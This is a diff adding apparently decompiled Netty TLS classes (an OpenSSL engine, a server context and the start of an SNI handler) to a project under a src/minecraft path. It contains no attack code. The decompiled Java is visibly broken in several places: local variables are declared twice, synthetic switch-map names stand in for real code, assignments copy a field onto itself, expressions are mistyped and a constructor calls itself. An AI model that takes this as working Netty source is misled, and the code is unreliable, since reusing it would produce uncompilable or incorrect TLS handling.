+      if (!isDestroyed()) {
+        try {
+          SSL.setCipherSuites(ssl, cipherSuiteSpec);
+        } catch (Exception e) {
+          throw new IllegalStateException("failed to enable cipher suites: " + cipherSuiteSpec, e);
+        }
+      } else {
+        throw new IllegalStateException("failed to enable cipher suites: " + cipherSuiteSpec);
+      }
+    }
+  }
+  
+  public final String[] getSupportedProtocols()
+  {
+    return (String[])OpenSsl.SUPPORTED_PROTOCOLS_SET.toArray(new String[OpenSsl.SUPPORTED_PROTOCOLS_SET.size()]);
+  }
+  
+  public final String[] getEnabledProtocols()
+  {
+    List<String> enabled = InternalThreadLocalMap.get().arrayList();
+    
+    enabled.add("SSLv2Hello");
+    
+    int opts;
+    synchronized (this) { int opts;
+      if (!isDestroyed()) {
+        opts = SSL.getOptions(ssl);
+      } else
+        return (String[])enabled.toArray(new String[1]);
+    }
+    int opts;
+    if ((opts & 0x4000000) == 0) {
+      enabled.add("TLSv1");
+    }
+    if ((opts & 0x10000000) == 0) {
+      enabled.add("TLSv1.1");
+    }
+    if ((opts & 0x8000000) == 0) {
+      enabled.add("TLSv1.2");
+    }
+    if ((opts & 0x1000000) == 0) {
+      enabled.add("SSLv2");
+    }
+    if ((opts & 0x2000000) == 0) {
+      enabled.add("SSLv3");
+    }
+    return (String[])enabled.toArray(new String[enabled.size()]);
+  }
+  
+  public final void setEnabledProtocols(String[] protocols)
+  {
+    if (protocols == null)
+    {
+      throw new IllegalArgumentException();
+    }
+    boolean sslv2 = false;
+    boolean sslv3 = false;
+    boolean tlsv1 = false;
+    boolean tlsv1_1 = false;
+    boolean tlsv1_2 = false;
+    for (String p : protocols) {
+      if (!OpenSsl.SUPPORTED_PROTOCOLS_SET.contains(p)) {
+        throw new IllegalArgumentException("Protocol " + p + " is not supported.");
+      }
+      if (p.equals("SSLv2")) {
+        sslv2 = true;
+      } else if (p.equals("SSLv3")) {
+        sslv3 = true;
+      } else if (p.equals("TLSv1")) {
+        tlsv1 = true;
+      } else if (p.equals("TLSv1.1")) {
+        tlsv1_1 = true;
+      } else if (p.equals("TLSv1.2")) {
+        tlsv1_2 = true;
+      }
+    }
+    synchronized (this) {
+      if (!isDestroyed())
+      {
+        SSL.setOptions(ssl, 4095);
+        
+
+        SSL.clearOptions(ssl, 520093696);
+        
+
+        int opts = 0;
+        if (!sslv2) {
+          opts |= 0x1000000;
+        }
+        if (!sslv3) {
+          opts |= 0x2000000;
+        }
+        if (!tlsv1) {
+          opts |= 0x4000000;
+        }
+        if (!tlsv1_1) {
+          opts |= 0x10000000;
+        }
+        if (!tlsv1_2) {
+          opts |= 0x8000000;
+        }
+        
+
+        SSL.setOptions(ssl, opts);
+      } else {
+        throw new IllegalStateException("failed to enable protocols: " + Arrays.asList(protocols));
+      }
+    }
+  }
+  
+  public final SSLSession getSession()
+  {
+    return session;
+  }
+  
+  public final synchronized void beginHandshake() throws SSLException
+  {
+    switch (2.$SwitchMap$io$netty$handler$ssl$ReferenceCountedOpenSslEngine$HandshakeState[handshakeState.ordinal()]) {
+    case 3: 
+      checkEngineClosed(BEGIN_HANDSHAKE_ENGINE_CLOSED);
+      
+
+
+
+
+
+
+      handshakeState = HandshakeState.STARTED_EXPLICITLY;
+      
+      break;
+    case 4: 
+      break;
+    
+    case 2: 
+      if (clientMode)
+      {
+        throw RENEGOTIATION_UNSUPPORTED;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+      if ((SSL.renegotiate(ssl) != 1) || (SSL.doHandshake(ssl) != 1)) {
+        throw shutdownWithError("renegotiation failed");
+      }
+      
+      SSL.setState(ssl, 8192);
+      
+      lastAccessed = System.currentTimeMillis();
+    
+
+    case 1: 
+      handshakeState = HandshakeState.STARTED_EXPLICITLY;
+      handshake();
+      break;
+    default: 
+      throw new Error();
+    }
+  }
+  
+  private void checkEngineClosed(SSLException cause) throws SSLException {
+    if ((engineClosed) || (isDestroyed())) {
+      throw cause;
+    }
+  }
+  
+  private static SSLEngineResult.HandshakeStatus pendingStatus(int pendingStatus)
+  {
+    return pendingStatus > 0 ? SSLEngineResult.HandshakeStatus.NEED_WRAP : SSLEngineResult.HandshakeStatus.NEED_UNWRAP;
+  }
+  
+  private SSLEngineResult.HandshakeStatus handshake() throws SSLException {
+    if (handshakeState == HandshakeState.FINISHED) {
+      return SSLEngineResult.HandshakeStatus.FINISHED;
+    }
+    checkEngineClosed(HANDSHAKE_ENGINE_CLOSED);
+    
+
+
+
+
+    SSLHandshakeException exception = handshakeException;
+    if (exception != null) {
+      if (SSL.pendingWrittenBytesInBIO(networkBIO) > 0)
+      {
+        return SSLEngineResult.HandshakeStatus.NEED_WRAP;
+      }
+      
+
+      handshakeException = null;
+      shutdown();
+      throw exception;
+    }
+    
+
+    engineMap.add(this);
+    if (lastAccessed == -1L) {
+      lastAccessed = System.currentTimeMillis();
+    }
+    
+    if ((!certificateSet) && (keyMaterialManager != null)) {
+      certificateSet = true;
+      keyMaterialManager.setKeyMaterial(this);
+    }
+    
+    int code = SSL.doHandshake(ssl);
+    if (code <= 0)
+    {
+
+      if (handshakeException != null) {
+        exception = handshakeException;
+        handshakeException = null;
+        shutdown();
+        throw exception;
+      }
+      
+      int sslError = SSL.getError(ssl, code);
+      
+      switch (sslError) {
+      case 2: 
+      case 3: 
+        return pendingStatus(SSL.pendingWrittenBytesInBIO(networkBIO));
+      }
+      
+      throw shutdownWithError("SSL_do_handshake");
+    }
+    
+
+    session.handshakeFinished();
+    engineMap.remove(ssl);
+    return SSLEngineResult.HandshakeStatus.FINISHED;
+  }
+  
+  private SSLEngineResult.Status getEngineStatus() {
+    return engineClosed ? SSLEngineResult.Status.CLOSED : SSLEngineResult.Status.OK;
+  }
+  
+  private SSLEngineResult.HandshakeStatus mayFinishHandshake(SSLEngineResult.HandshakeStatus status) throws SSLException
+  {
+    if ((status == SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING) && (handshakeState != HandshakeState.FINISHED))
+    {
+
+      return handshake();
+    }
+    return status;
+  }
+  
+
+  public final synchronized SSLEngineResult.HandshakeStatus getHandshakeStatus()
+  {
+    return needPendingStatus() ? pendingStatus(SSL.pendingWrittenBytesInBIO(networkBIO)) : SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING;
+  }
+  
+  private SSLEngineResult.HandshakeStatus getHandshakeStatus(int pending)
+  {
+    return needPendingStatus() ? pendingStatus(pending) : SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING;
+  }
+  
+  private boolean needPendingStatus() {
+    return (handshakeState != HandshakeState.NOT_STARTED) && (!isDestroyed()) && ((handshakeState != HandshakeState.FINISHED) || (engineClosed));
+  }
+  
+
+
+
+  private String toJavaCipherSuite(String openSslCipherSuite)
+  {
+    if (openSslCipherSuite == null) {
+      return null;
+    }
+    
+    String prefix = toJavaCipherSuitePrefix(SSL.getVersion(ssl));
+    return CipherSuiteConverter.toJava(openSslCipherSuite, prefix);
+  }
+  
+
+  private static String toJavaCipherSuitePrefix(String protocolVersion)
+  {
+    char c;
+    char c;
+    if ((protocolVersion == null) || (protocolVersion.length() == 0)) {
+      c = '\000';
+    } else {
+      c = protocolVersion.charAt(0);
+    }
+    
+    switch (c) {
+    case 'T': 
+      return "TLS";
+    case 'S': 
+      return "SSL";
+    }
+    return "UNKNOWN";
+  }
+  
+
+  public final void setUseClientMode(boolean clientMode)
+  {
+    if (clientMode != this.clientMode) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  public final boolean getUseClientMode()
+  {
+    return clientMode;
+  }
+  
+  public final void setNeedClientAuth(boolean b)
+  {
+    setClientAuth(b ? ClientAuth.REQUIRE : ClientAuth.NONE);
+  }
+  
+  public final boolean getNeedClientAuth()
+  {
+    return clientAuth == ClientAuth.REQUIRE;
+  }
+  
+  public final void setWantClientAuth(boolean b)
+  {
+    setClientAuth(b ? ClientAuth.OPTIONAL : ClientAuth.NONE);
+  }
+  
+  public final boolean getWantClientAuth()
+  {
+    return clientAuth == ClientAuth.OPTIONAL;
+  }
+  
+  private void setClientAuth(ClientAuth mode) {
+    if (clientMode) {
+      return;
+    }
+    synchronized (this) {
+      if (clientAuth == mode)
+      {
+        return;
+      }
+      switch (2.$SwitchMap$io$netty$handler$ssl$ClientAuth[mode.ordinal()]) {
+      case 1: 
+        SSL.setVerify(ssl, 0, 10);
+        break;
+      case 2: 
+        SSL.setVerify(ssl, 2, 10);
+        break;
+      case 3: 
+        SSL.setVerify(ssl, 1, 10);
+        break;
+      default: 
+        throw new Error(mode.toString());
+      }
+      clientAuth = mode;
+    }
+  }
+  
+  public final void setEnableSessionCreation(boolean b)
+  {
+    if (b) {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  public final boolean getEnableSessionCreation()
+  {
+    return false;
+  }
+  
+  public final synchronized SSLParameters getSSLParameters()
+  {
+    SSLParameters sslParameters = super.getSSLParameters();
+    
+    int version = PlatformDependent.javaVersion();
+    if (version >= 7) {
+      sslParameters.setEndpointIdentificationAlgorithm(endPointIdentificationAlgorithm);
+      SslParametersUtils.setAlgorithmConstraints(sslParameters, algorithmConstraints);
+      if (version >= 8) {
+        if ((SET_SERVER_NAMES_METHOD != null) && (sniHostNames != null)) {
+          try {
+            SET_SERVER_NAMES_METHOD.invoke(sslParameters, new Object[] { sniHostNames });
+          } catch (IllegalAccessException e) {
+            throw new Error(e);
+          } catch (InvocationTargetException e) {
+            throw new Error(e);
+          }
+        }
+        if ((SET_USE_CIPHER_SUITES_ORDER_METHOD != null) && (!isDestroyed())) {
+          try {
+            SET_USE_CIPHER_SUITES_ORDER_METHOD.invoke(sslParameters, new Object[] { Boolean.valueOf((SSL.getOptions(ssl) & 0x400000) != 0 ? 1 : false) });
+          }
+          catch (IllegalAccessException e) {
+            throw new Error(e);
+          } catch (InvocationTargetException e) {
+            throw new Error(e);
+          }
+        }
+      }
+    }
+    return sslParameters;
+  }
+  
+  public final synchronized void setSSLParameters(SSLParameters sslParameters)
+  {
+    super.setSSLParameters(sslParameters);
+    
+    int version = PlatformDependent.javaVersion();
+    if (version >= 7) {
+      endPointIdentificationAlgorithm = sslParameters.getEndpointIdentificationAlgorithm();
+      algorithmConstraints = sslParameters.getAlgorithmConstraints();
+      if (version >= 8) {
+        if ((SNI_HOSTNAME_CLASS != null) && (clientMode) && (!isDestroyed())) {
+          assert (GET_SERVER_NAMES_METHOD != null);
+          assert (GET_ASCII_NAME_METHOD != null);
+          try {
+            List<?> servernames = (List)GET_SERVER_NAMES_METHOD.invoke(sslParameters, new Object[0]);
+            if (servernames != null) {
+              for (Object serverName : servernames) {
+                if (SNI_HOSTNAME_CLASS.isInstance(serverName)) {
+                  SSL.setTlsExtHostName(ssl, (String)GET_ASCII_NAME_METHOD.invoke(serverName, new Object[0]));
+                } else {
+                  throw new IllegalArgumentException("Only " + SNI_HOSTNAME_CLASS.getName() + " instances are supported, but found: " + serverName);
+                }
+              }
+            }
+            
+
+            sniHostNames = servernames;
+          } catch (IllegalAccessException e) {
+            throw new Error(e);
+          } catch (InvocationTargetException e) {
+            throw new Error(e);
+          }
+        }
+        if ((GET_USE_CIPHER_SUITES_ORDER_METHOD != null) && (!isDestroyed())) {
+          try {
+            if (((Boolean)GET_USE_CIPHER_SUITES_ORDER_METHOD.invoke(sslParameters, new Object[0])).booleanValue()) {
+              SSL.setOptions(ssl, 4194304);
+            } else {
+              SSL.clearOptions(ssl, 4194304);
+            }
+          } catch (IllegalAccessException e) {
+            throw new Error(e);
+          } catch (InvocationTargetException e) {
+            throw new Error(e);
+          }
+        }
+      }
+    }
+  }
+  
+  private boolean isDestroyed() {
+    return destroyed != 0;
+  }
+  
+
+  private final class OpenSslSession
+    implements SSLSession, ApplicationProtocolAccessor
+  {
+    private final OpenSslSessionContext sessionContext;
+    
+    private javax.security.cert.X509Certificate[] x509PeerCerts;
+    private String protocol;
+    private String applicationProtocol;
+    private Certificate[] peerCerts;
+    private String cipher;
+    private byte[] id;
+    private long creationTime;
+    private Map<String, Object> values;
+    
+    OpenSslSession(OpenSslSessionContext sessionContext)
+    {
+      this.sessionContext = sessionContext;
+    }
+    
+    public byte[] getId()
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if (id == null) {
+          return EmptyArrays.EMPTY_BYTES;
+        }
+        return (byte[])id.clone();
+      }
+    }
+    
+    public SSLSessionContext getSessionContext()
+    {
+      return sessionContext;
+    }
+    
+    public long getCreationTime()
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if ((creationTime == 0L) && (!ReferenceCountedOpenSslEngine.this.isDestroyed())) {
+          creationTime = (SSL.getTime(ssl) * 1000L);
+        }
+      }
+      return creationTime;
+    }
+    
+    public long getLastAccessedTime()
+    {
+      long lastAccessed = ReferenceCountedOpenSslEngine.this.lastAccessed;
+      
+      return lastAccessed == -1L ? getCreationTime() : lastAccessed;
+    }
+    
+    public void invalidate()
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if (!ReferenceCountedOpenSslEngine.this.isDestroyed()) {
+          SSL.setTimeout(ssl, 0L);
+        }
+      }
+    }
+    
+    public boolean isValid()
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if (!ReferenceCountedOpenSslEngine.this.isDestroyed()) {
+          return System.currentTimeMillis() - SSL.getTimeout(ssl) * 1000L < SSL.getTime(ssl) * 1000L;
+        }
+      }
+      return false;
+    }
+    
+    public void putValue(String name, Object value)
+    {
+      if (name == null) {
+        throw new NullPointerException("name");
+      }
+      if (value == null) {
+        throw new NullPointerException("value");
+      }
+      Map<String, Object> values = this.values;
+      if (values == null)
+      {
+        values = this.values = new HashMap(2);
+      }
+      Object old = values.put(name, value);
+      if ((value instanceof SSLSessionBindingListener)) {
+        ((SSLSessionBindingListener)value).valueBound(new SSLSessionBindingEvent(this, name));
+      }
+      notifyUnbound(old, name);
+    }
+    
+    public Object getValue(String name)
+    {
+      if (name == null) {
+        throw new NullPointerException("name");
+      }
+      if (values == null) {
+        return null;
+      }
+      return values.get(name);
+    }
+    
+    public void removeValue(String name)
+    {
+      if (name == null) {
+        throw new NullPointerException("name");
+      }
+      Map<String, Object> values = this.values;
+      if (values == null) {
+        return;
+      }
+      Object old = values.remove(name);
+      notifyUnbound(old, name);
+    }
+    
+    public String[] getValueNames()
+    {
+      Map<String, Object> values = this.values;
+      if ((values == null) || (values.isEmpty())) {
+        return EmptyArrays.EMPTY_STRINGS;
+      }
+      return (String[])values.keySet().toArray(new String[values.size()]);
+    }
+    
+    private void notifyUnbound(Object value, String name) {
+      if ((value instanceof SSLSessionBindingListener)) {
+        ((SSLSessionBindingListener)value).valueUnbound(new SSLSessionBindingEvent(this, name));
+      }
+    }
+    
+
+
+    void handshakeFinished()
+      throws SSLException
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if (!ReferenceCountedOpenSslEngine.this.isDestroyed()) {
+          id = SSL.getSessionId(ssl);
+          cipher = ReferenceCountedOpenSslEngine.this.toJavaCipherSuite(SSL.getCipherForSSL(ssl));
+          protocol = SSL.getVersion(ssl);
+          
+          initPeerCerts();
+          selectApplicationProtocol();
+          
+          handshakeState = ReferenceCountedOpenSslEngine.HandshakeState.FINISHED;
+        } else {
+          throw new SSLException("Already closed");
+        }
+      }
+    }
+    
+
+
+
+
+    private void initPeerCerts()
+    {
+      byte[][] chain = SSL.getPeerCertChain(ssl);
+      byte[] clientCert;
+      byte[] clientCert; if (!clientMode)
+      {
+
+
+
+
+        clientCert = SSL.getPeerCertificate(ssl);
+      } else {
+        clientCert = null;
+      }
+      
+      if ((chain == null) || (chain.length == 0)) {
+        if ((clientCert == null) || (clientCert.length == 0)) {
+          peerCerts = EmptyArrays.EMPTY_CERTIFICATES;
+          x509PeerCerts = EmptyArrays.EMPTY_JAVAX_X509_CERTIFICATES;
+        } else {
+          peerCerts = new Certificate[1];
+          x509PeerCerts = new javax.security.cert.X509Certificate[1];
+          
+          peerCerts[0] = new OpenSslX509Certificate(clientCert);
+          x509PeerCerts[0] = new OpenSslJavaxX509Certificate(clientCert);
+        }
+      } else if ((clientCert == null) || (clientCert.length == 0)) {
+        peerCerts = new Certificate[chain.length];
+        x509PeerCerts = new javax.security.cert.X509Certificate[chain.length];
+        
+        for (int a = 0; a < chain.length; a++) {
+          byte[] bytes = chain[a];
+          peerCerts[a] = new OpenSslX509Certificate(bytes);
+          x509PeerCerts[a] = new OpenSslJavaxX509Certificate(bytes);
+        }
+      } else {
+        int len = clientCert.length + 1;
+        peerCerts = new Certificate[len];
+        x509PeerCerts = new javax.security.cert.X509Certificate[len];
+        
+        peerCerts[0] = new OpenSslX509Certificate(clientCert);
+        x509PeerCerts[0] = new OpenSslJavaxX509Certificate(clientCert);
+        
+        int a = 0; for (int i = 1; a < chain.length; i++) {
+          byte[] bytes = chain[a];
+          peerCerts[i] = new OpenSslX509Certificate(bytes);
+          x509PeerCerts[i] = new OpenSslJavaxX509Certificate(bytes);a++;
+        }
+      }
+    }
+    
+
+
+
+    private void selectApplicationProtocol()
+      throws SSLException
+    {
+      ApplicationProtocolConfig.SelectedListenerFailureBehavior behavior = apn.selectedListenerFailureBehavior();
+      List<String> protocols = apn.protocols();
+      
+      switch (ReferenceCountedOpenSslEngine.2.$SwitchMap$io$netty$handler$ssl$ApplicationProtocolConfig$Protocol[apn.protocol().ordinal()])
+      {
+      case 1: 
+        break;
+      
+      case 2: 
+        String applicationProtocol = SSL.getAlpnSelected(ssl);
+        if (applicationProtocol != null) {
+          this.applicationProtocol = selectApplicationProtocol(protocols, behavior, applicationProtocol);
+        }
+        
+        break;
+      case 3: 
+        String applicationProtocol = SSL.getNextProtoNegotiated(ssl);
+        if (applicationProtocol != null) {
+          this.applicationProtocol = selectApplicationProtocol(protocols, behavior, applicationProtocol);
+        }
+        
+        break;
+      case 4: 
+        String applicationProtocol = SSL.getAlpnSelected(ssl);
+        if (applicationProtocol == null) {
+          applicationProtocol = SSL.getNextProtoNegotiated(ssl);
+        }
+        if (applicationProtocol != null) {
+          this.applicationProtocol = selectApplicationProtocol(protocols, behavior, applicationProtocol);
+        }
+        
+        break;
+      default: 
+        throw new Error();
+      }
+    }
+    
+    private String selectApplicationProtocol(List<String> protocols, ApplicationProtocolConfig.SelectedListenerFailureBehavior behavior, String applicationProtocol)
+      throws SSLException
+    {
+      if (behavior == ApplicationProtocolConfig.SelectedListenerFailureBehavior.ACCEPT) {
+        return applicationProtocol;
+      }
+      int size = protocols.size();
+      assert (size > 0);
+      if (protocols.contains(applicationProtocol)) {
+        return applicationProtocol;
+      }
+      if (behavior == ApplicationProtocolConfig.SelectedListenerFailureBehavior.CHOOSE_MY_LAST_PROTOCOL) {
+        return (String)protocols.get(size - 1);
+      }
+      throw new SSLException("unknown protocol " + applicationProtocol);
+    }
+    
+
+
+    public Certificate[] getPeerCertificates()
+      throws SSLPeerUnverifiedException
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if ((peerCerts == null) || (peerCerts.length == 0)) {
+          throw new SSLPeerUnverifiedException("peer not verified");
+        }
+        return (Certificate[])peerCerts.clone();
+      }
+    }
+    
+    public Certificate[] getLocalCertificates()
+    {
+      if (localCerts == null) {
+        return null;
+      }
+      return (Certificate[])localCerts.clone();
+    }
+    
+    public javax.security.cert.X509Certificate[] getPeerCertificateChain() throws SSLPeerUnverifiedException
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if ((x509PeerCerts == null) || (x509PeerCerts.length == 0)) {
+          throw new SSLPeerUnverifiedException("peer not verified");
+        }
+        return (javax.security.cert.X509Certificate[])x509PeerCerts.clone();
+      }
+    }
+    
+    public Principal getPeerPrincipal() throws SSLPeerUnverifiedException
+    {
+      Certificate[] peer = getPeerCertificates();
+      
+
+      return ((java.security.cert.X509Certificate)peer[0]).getSubjectX500Principal();
+    }
+    
+    public Principal getLocalPrincipal()
+    {
+      Certificate[] local = localCerts;
+      if ((local == null) || (local.length == 0)) {
+        return null;
+      }
+      return ((java.security.cert.X509Certificate)local[0]).getIssuerX500Principal();
+    }
+    
+    public String getCipherSuite()
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        if (cipher == null) {
+          return "SSL_NULL_WITH_NULL_NULL";
+        }
+        return cipher;
+      }
+    }
+    
+    public String getProtocol()
+    {
+      String protocol = this.protocol;
+      if (protocol == null) {
+        synchronized (ReferenceCountedOpenSslEngine.this) {
+          if (!ReferenceCountedOpenSslEngine.this.isDestroyed()) {
+            protocol = SSL.getVersion(ssl);
+          } else {
+            protocol = "";
+          }
+        }
+      }
+      return protocol;
+    }
+    
+    public String getApplicationProtocol()
+    {
+      synchronized (ReferenceCountedOpenSslEngine.this) {
+        return applicationProtocol;
+      }
+    }
+    
+    public String getPeerHost()
+    {
+      return ReferenceCountedOpenSslEngine.this.getPeerHost();
+    }
+    
+    public int getPeerPort()
+    {
+      return ReferenceCountedOpenSslEngine.this.getPeerPort();
+    }
+    
+    public int getPacketBufferSize()
+    {
+      return 18713;
+    }
+    
+    public int getApplicationBufferSize()
+    {
+      return 16384;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslServerContext.java b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslServerContext.java
new file mode 100644
index 0000000..4c780ea
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslServerContext.java
@@ -0,0 +1,195 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.security.KeyStore;
+import java.security.PrivateKey;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.TrustManagerFactory;
+import javax.net.ssl.X509ExtendedKeyManager;
+import javax.net.ssl.X509ExtendedTrustManager;
+import javax.net.ssl.X509KeyManager;
+import javax.net.ssl.X509TrustManager;
+import org.apache.tomcat.jni.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ReferenceCountedOpenSslServerContext
+  extends ReferenceCountedOpenSslContext
+{
+  private static final byte[] ID = { 110, 101, 116, 116, 121 };
+  
+  private final OpenSslServerSessionContext sessionContext;
+  
+  private final OpenSslKeyMaterialManager keyMaterialManager;
+  
+  ReferenceCountedOpenSslServerContext(X509Certificate[] trustCertCollection, TrustManagerFactory trustManagerFactory, X509Certificate[] keyCertChain, PrivateKey key, String keyPassword, KeyManagerFactory keyManagerFactory, Iterable<String> ciphers, CipherSuiteFilter cipherFilter, ApplicationProtocolConfig apn, long sessionCacheSize, long sessionTimeout, ClientAuth clientAuth, boolean startTls)
+    throws SSLException
+  {
+    this(trustCertCollection, trustManagerFactory, keyCertChain, key, keyPassword, keyManagerFactory, ciphers, cipherFilter, toNegotiator(apn), sessionCacheSize, sessionTimeout, clientAuth, startTls);
+  }
+  
+
+
+
+  private ReferenceCountedOpenSslServerContext(X509Certificate[] trustCertCollection, TrustManagerFactory trustManagerFactory, X509Certificate[] keyCertChain, PrivateKey key, String keyPassword, KeyManagerFactory keyManagerFactory, Iterable<String> ciphers, CipherSuiteFilter cipherFilter, OpenSslApplicationProtocolNegotiator apn, long sessionCacheSize, long sessionTimeout, ClientAuth clientAuth, boolean startTls)
+    throws SSLException
+  {
+    super(ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout, 1, keyCertChain, clientAuth, startTls, true);
+    
+
+    boolean success = false;
+    try {
+      ServerContext context = newSessionContext(this, ctx, engineMap, trustCertCollection, trustManagerFactory, keyCertChain, key, keyPassword, keyManagerFactory);
+      
+      sessionContext = sessionContext;
+      keyMaterialManager = keyMaterialManager;
+      success = true;
+    } finally {
+      if (!success) {
+        release();
+      }
+    }
+  }
+  
+  public OpenSslServerSessionContext sessionContext()
+  {
+    return sessionContext;
+  }
+  
+  OpenSslKeyMaterialManager keyMaterialManager()
+  {
+    return keyMaterialManager;
+  }
+  
+
+
+
+
+
+
+
+
+  static ServerContext newSessionContext(ReferenceCountedOpenSslContext thiz, long ctx, OpenSslEngineMap engineMap, X509Certificate[] trustCertCollection, TrustManagerFactory trustManagerFactory, X509Certificate[] keyCertChain, PrivateKey key, String keyPassword, KeyManagerFactory keyManagerFactory)
+    throws SSLException
+  {
+    ServerContext result = new ServerContext();
+    synchronized (ReferenceCountedOpenSslContext.class) {
+      try {
+        SSLContext.setVerify(ctx, 0, 10);
+        if (!OpenSsl.useKeyManagerFactory()) {
+          if (keyManagerFactory != null) {
+            throw new IllegalArgumentException("KeyManagerFactory not supported");
+          }
+          
+          ObjectUtil.checkNotNull(keyCertChain, "keyCertChain");
+          
+
+          SSLContext.setVerify(ctx, 0, 10);
+          
+          setKeyMaterial(ctx, keyCertChain, key, keyPassword);
+        }
+        else
+        {
+          if (keyManagerFactory == null) {
+            keyManagerFactory = buildKeyManagerFactory(keyCertChain, key, keyPassword, keyManagerFactory);
+          }
+          
+          X509KeyManager keyManager = chooseX509KeyManager(keyManagerFactory.getKeyManagers());
+          keyMaterialManager = (useExtendedKeyManager(keyManager) ? new OpenSslExtendedKeyMaterialManager((X509ExtendedKeyManager)keyManager, keyPassword) : new OpenSslKeyMaterialManager(keyManager, keyPassword));
+        }
+        
+      }
+      catch (Exception e)
+      {
+        throw new SSLException("failed to set certificate and key", e);
+      }
+      try {
+        if (trustCertCollection != null) {
+          trustManagerFactory = buildTrustManagerFactory(trustCertCollection, trustManagerFactory);
+        } else if (trustManagerFactory == null)
+        {
+          trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+          
+          trustManagerFactory.init((KeyStore)null);
+        }
+        
+        X509TrustManager manager = chooseTrustManager(trustManagerFactory.getTrustManagers());
+        
+
+
+
+
+
+
+
+        if (useExtendedTrustManager(manager)) {
+          SSLContext.setCertVerifyCallback(ctx, new ExtendedTrustManagerVerifyCallback(engineMap, (X509ExtendedTrustManager)manager));
+        }
+        else {
+          SSLContext.setCertVerifyCallback(ctx, new TrustManagerVerifyCallback(engineMap, manager));
+        }
+      } catch (Exception e) {
+        throw new SSLException("unable to setup trustmanager", e);
+      }
+    }
+    
+    sessionContext = new OpenSslServerSessionContext(thiz);
+    sessionContext.setSessionIdContext(ID);
+    return result; }
+  
+  static final class ServerContext { OpenSslServerSessionContext sessionContext;
+    OpenSslKeyMaterialManager keyMaterialManager;
+    
+    ServerContext() {} }
+  
+  private static final class TrustManagerVerifyCallback extends ReferenceCountedOpenSslContext.AbstractCertificateVerifier { TrustManagerVerifyCallback(OpenSslEngineMap engineMap, X509TrustManager manager) { super();
+      this.manager = manager;
+    }
+    
+    private final X509TrustManager manager;
+    void verify(ReferenceCountedOpenSslEngine engine, X509Certificate[] peerCerts, String auth) throws Exception
+    {
+      manager.checkClientTrusted(peerCerts, auth);
+    }
+  }
+  
+  private static final class ExtendedTrustManagerVerifyCallback extends ReferenceCountedOpenSslContext.AbstractCertificateVerifier {
+    private final X509ExtendedTrustManager manager;
+    
+    ExtendedTrustManagerVerifyCallback(OpenSslEngineMap engineMap, X509ExtendedTrustManager manager) {
+      super();
+      this.manager = manager;
+    }
+    
+    void verify(ReferenceCountedOpenSslEngine engine, X509Certificate[] peerCerts, String auth)
+      throws Exception
+    {
+      manager.checkClientTrusted(peerCerts, auth, engine);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SniHandler.java b/src/minecraft/io/netty/handler/ssl/SniHandler.java
new file mode 100644
index 0000000..db8ef38
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SniHandler.java
@@ -0,0 +1,433 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandler;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.DecoderException;
+import io.netty.util.AsyncMapping;
+import io.netty.util.CharsetUtil;
+import io.netty.util.DomainNameMapping;
+import io.netty.util.Mapping;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.IDN;
+import java.net.SocketAddress;
+import java.util.List;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SniHandler
+  extends ByteToMessageDecoder
+  implements ChannelOutboundHandler
+{
+  private static final int MAX_SSL_RECORDS = 4;
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(SniHandler.class);
+  
+  private static final Selection EMPTY_SELECTION = new Selection(null, null);
+  
+  protected final AsyncMapping<String, SslContext> mapping;
+  
+  private boolean handshakeFailed;
+  private boolean suppressRead;
+  private boolean readPending;
+  private volatile Selection selection = EMPTY_SELECTION;
+  
+
+
+
+
+
+  public SniHandler(Mapping<? super String, ? extends SslContext> mapping)
+  {
+    this(new AsyncMappingAdapter(mapping, null));
+  }
+  
+
+
+
+
+
+  public SniHandler(DomainNameMapping<? extends SslContext> mapping)
+  {
+    this(mapping);
+  }
+  
+
+
+
+
+
+
+  public SniHandler(AsyncMapping<? super String, ? extends SslContext> mapping)
+  {
+    this.mapping = ((AsyncMapping)ObjectUtil.checkNotNull(mapping, "mapping"));
+  }
+  
+
+
+  public String hostname()
+  {
+    return selection.hostname;
+  }
+  
+
+
+  public SslContext sslContext()
+  {
+    return selection.context;
+  }
+  
